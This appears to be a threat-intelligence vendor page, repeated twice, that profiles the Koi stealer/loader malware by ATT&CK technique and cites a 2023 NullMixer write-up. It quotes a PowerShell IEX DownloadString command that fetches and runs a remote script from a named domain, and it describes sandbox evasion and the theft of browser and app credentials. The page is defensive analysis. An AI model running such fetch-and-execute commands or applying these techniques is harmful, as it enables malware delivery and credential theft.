Malware

Koi

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

15 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique

T1583Acquire InfrastructureEvidence1

[ATK-16] Malvertising

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

“C:\WINDOWS\sysnative\cmd.exe” /c “powershell -command IEX(New-Object Net.Webclient).DownloadString(...)”

T1059.001PowerShellEvidence1

“C:\WINDOWS\sysnative\cmd.exe” /c “powershell -command IEX(New-Object Net.Webclient).DownloadString(‘https://neutropharma .com/wp/wp-content/debug2.ps1’)”

Stealth

5 techniques

T1027.013Encrypted/Encoded FileEvidence1

the “koi” module encrypts messages using a custom protocol based on ECC encryption.

T1140Deobfuscate/Decode Files or InformationEvidence1

The downloaded script contains a long chunk of bytes and a sort of decryption routine base on a textbook-looking xor operation, after that, the resulting bytes are loaded as a .NET assembly module.

T1480.002Mutual ExclusionEvidence1

it uses mutex “99759703-b8b4–4cb2–8329–76f908b004f0” to avoid re-infection

T1497.001System ChecksEvidence1

it uses mutex “99759703-b8b4–4cb2–8329–76f908b004f0” to avoid re-infection and also checks for the presence of video controller of the Wine emulation framework, along with common user names and computer names used by sandboxes or by AV emulation routines.

T1620Reflective Code LoadingEvidence1

after that, the resulting bytes are loaded as a .NET assembly module.

Credential Access

2 techniques

T1539Steal Web Session CookieEvidence1

implements information stealer functionalities such as password stealing from FileZilla, Chrome browser, and Discord

T1555Credentials from Password StoresEvidence1

implements information stealer functionalities such as password stealing from FileZilla, Chrome browser, and Discord

Discovery

3 techniques

T1497.001System ChecksEvidence1

T1518Software DiscoveryEvidence1

After that, the “koi” module starts gathering information about system installed software

T1614.001System Language DiscoveryEvidence1

The module also avoids the execution of the malicious stealer routines if the system language is set to one of the values representing the CIS countries

Command and Control

2 techniques

T1071Application Layer ProtocolEvidence1

All these communications happen in plain HTTP, but despite that, messages are not easy to spot because the “koi” module encrypts messages using a custom protocol based on ECC encryption.

T1105Ingress Tool TransferEvidence1

the main routine of this loader does two things: insistently tries to download multiple executable files with the name pattern “ab[NUMBER].php” and “ab[NUMBER].exe” from a statically configured location, and runs an additional inline PowerShell command to download and execute more code.

Exfiltration

1 technique

T1041Exfiltration Over C2 ChannelEvidence1

this way, malware authors were able to avoid touching the disk even to lay temporary data before exfiltration.

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

medium lcamNews

Mar 28, 2023

Updates from the MaaS: new threats delivered through NullMixer | by L M | Medium

A .NET stealer/loader delivered via a PowerShell-based multi-stage chain. It steals credentials and data from browsers, FileZilla, Discord, crypto wallets, Telegram Desktop, VPN configurations, and Authy 2FA secrets; checks for Trezor hardware wallets; performs sandbox/CIS evasion; communicates with C2 over HTTP using a custom Curve25519/ECC-based encryption scheme; and can download and execute additional payloads.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping15

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

Malware

Koi

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

15 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique

T1583Acquire InfrastructureEvidence1

[ATK-16] Malvertising

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

“C:\WINDOWS\sysnative\cmd.exe” /c “powershell -command IEX(New-Object Net.Webclient).DownloadString(...)”

T1059.001PowerShellEvidence1

“C:\WINDOWS\sysnative\cmd.exe” /c “powershell -command IEX(New-Object Net.Webclient).DownloadString(‘https://neutropharma .com/wp/wp-content/debug2.ps1’)”

Stealth

5 techniques

T1027.013Encrypted/Encoded FileEvidence1

the “koi” module encrypts messages using a custom protocol based on ECC encryption.

T1140Deobfuscate/Decode Files or InformationEvidence1

The downloaded script contains a long chunk of bytes and a sort of decryption routine base on a textbook-looking xor operation, after that, the resulting bytes are loaded as a .NET assembly module.

T1480.002Mutual ExclusionEvidence1

it uses mutex “99759703-b8b4–4cb2–8329–76f908b004f0” to avoid re-infection

T1497.001System ChecksEvidence1

T1620Reflective Code LoadingEvidence1

after that, the resulting bytes are loaded as a .NET assembly module.

Credential Access

2 techniques

T1539Steal Web Session CookieEvidence1

implements information stealer functionalities such as password stealing from FileZilla, Chrome browser, and Discord

T1555Credentials from Password StoresEvidence1

implements information stealer functionalities such as password stealing from FileZilla, Chrome browser, and Discord

Discovery

3 techniques

T1497.001System ChecksEvidence1

T1518Software DiscoveryEvidence1

After that, the “koi” module starts gathering information about system installed software

T1614.001System Language DiscoveryEvidence1

The module also avoids the execution of the malicious stealer routines if the system language is set to one of the values representing the CIS countries

Command and Control

2 techniques

T1071Application Layer ProtocolEvidence1

All these communications happen in plain HTTP, but despite that, messages are not easy to spot because the “koi” module encrypts messages using a custom protocol based on ECC encryption.

T1105Ingress Tool TransferEvidence1

Exfiltration

1 technique

T1041Exfiltration Over C2 ChannelEvidence1

this way, malware authors were able to avoid touching the disk even to lay temporary data before exfiltration.

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

medium lcamNews

Mar 28, 2023

Updates from the MaaS: new threats delivered through NullMixer | by L M | Medium

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping15

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.